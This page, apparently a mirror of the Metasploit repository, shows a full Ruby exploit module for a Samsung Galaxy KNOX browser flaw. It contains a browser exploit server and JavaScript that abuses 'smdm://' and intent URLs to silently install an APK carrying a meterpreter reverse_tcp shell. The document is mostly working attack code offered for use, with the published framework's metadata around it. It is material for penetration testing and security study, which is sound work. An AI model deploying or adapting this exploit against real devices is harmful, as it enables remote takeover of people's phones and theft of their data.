Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/android/browser/samsung_knox_smdm_url.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'digest/md5'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::BrowserExploitServer
12
13
# Hash that maps payload ID -> (0|1) if an HTTP request has
14
# been made to download a payload of that ID
15
attr_reader :served_payloads
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Samsung Galaxy KNOX Android Browser RCE',
22
'Description' => %q{
23
A vulnerability exists in the KNOX security component of the Samsung Galaxy
24
firmware that allows a remote webpage to install an APK with arbitrary
25
permissions by abusing the 'smdm://' protocol handler registered by the KNOX
26
component.
27
28
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
29
and Ace 4.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Andre Moulu', # discovery, advisory, and exploitation help
34
'Elliot Alderson', # Mr. Robot easter-egg
35
'jduck', # msf module
36
'joev' # msf module
37
],
38
'References' => [
39
['URL', 'https://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],
40
['OSVDB', '114590']
41
],
42
'Platform' => 'android',
43
'Arch' => ARCH_DALVIK,
44
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
45
'Targets' => [ [ 'Automatic', {} ] ],
46
'DisclosureDate' => '2014-11-12',
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
50
'Reliability' => [ UNRELIABLE_SESSION ],
51
'Stability' => [ CRASH_SAFE ]
52
},
53
'BrowserRequirements' => {
54
source: 'script',
55
os_name: OperatingSystems::Match::ANDROID
56
}
57
)
58
)
59
60
register_options([
61
OptString.new('APK_VERSION', [
62
false, 'The update version to advertise to the client', '1337'
63
])
64
])
65
66
deregister_options('JsObfuscate')
67
end
68
69
def exploit
70
@served_payloads = Hash.new(0)
71
super
72
end
73
74
def apk_bytes
75
payload.encoded
76
end
77
78
def on_request_uri(cli, req)
79
if req.uri =~ %r{/([a-zA-Z0-9]+)\.apk/latest$}
80
if req.method.upcase == 'HEAD'
81
print_status 'Serving metadata...'
82
send_response(cli, '', magic_headers)
83
else
84
print_status "Serving payload '#{::Regexp.last_match(1)}'..."
85
@served_payloads[::Regexp.last_match(1)] = 1
86
send_response(cli, apk_bytes, magic_headers)
87
end
88
elsif req.uri =~ /_poll/
89
vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")
90
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
91
elsif req.uri =~ /launch$/
92
send_response_html(cli, launch_html)
93
else
94
super
95
end
96
end
97
98
# The browser appears to be vulnerable, serve the exploit
99
def on_request_exploit(cli, _req, _browser)
100
print_status 'Serving exploit...'
101
send_response_html(cli, generate_html)
102
end
103
104
def magic_headers
105
{
106
'Content-Length' => apk_bytes.length,
107
'ETag' => Digest::MD5.hexdigest(apk_bytes),
108
'x-amz-meta-apk-version' => datastore['APK_VERSION']
109
}
110
end
111
112
def generate_html
113
%(
114
<!doctype html>
115
<html><body>
116
<script>
117
#{exploit_js}
118
</script></body></html>
119
)
120
end
121
122
def exploit_js
123
payload_id = rand_word
124
125
js_obfuscate %|
126
127
function poll() {
128
var xhr = new XMLHttpRequest();
129
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
130
xhr.onreadystatechange = function(){
131
if (xhr.readyState == 4) {
132
if (xhr.responseText == '1') {
133
setTimeout(killEnrollment, 100);
134
} else {
135
setTimeout(poll, 1000);
136
setTimeout(enroll, 0);
137
setTimeout(enroll, 500);
138
}
139
}
140
};
141
xhr.onerror = function(){
142
setTimeout(poll, 1000);
143
setTimeout(enroll, 0);
144
};
145
xhr.send();
146
}
147
148
function enroll() {
149
var loc = window.location.href.replace(/[/.]$/g, '');
150
top.location = 'smdm://#{rand_word}?update_url='+
151
encodeURIComponent(loc)+'/#{payload_id}.apk';
152
}
153
154
function killEnrollment() {
155
top.location = "intent://#{rand_word}?program="+
156
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
157
setTimeout(launchApp, 300);
158
}
159
160
function launchApp() {
161
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
162
}
163
164
enroll();
165
setTimeout(poll,600);
166
167
|
168
end
169
170
def rand_word
171
Rex::Text.rand_text_alphanumeric(3..12)
172
end
173
end
174
175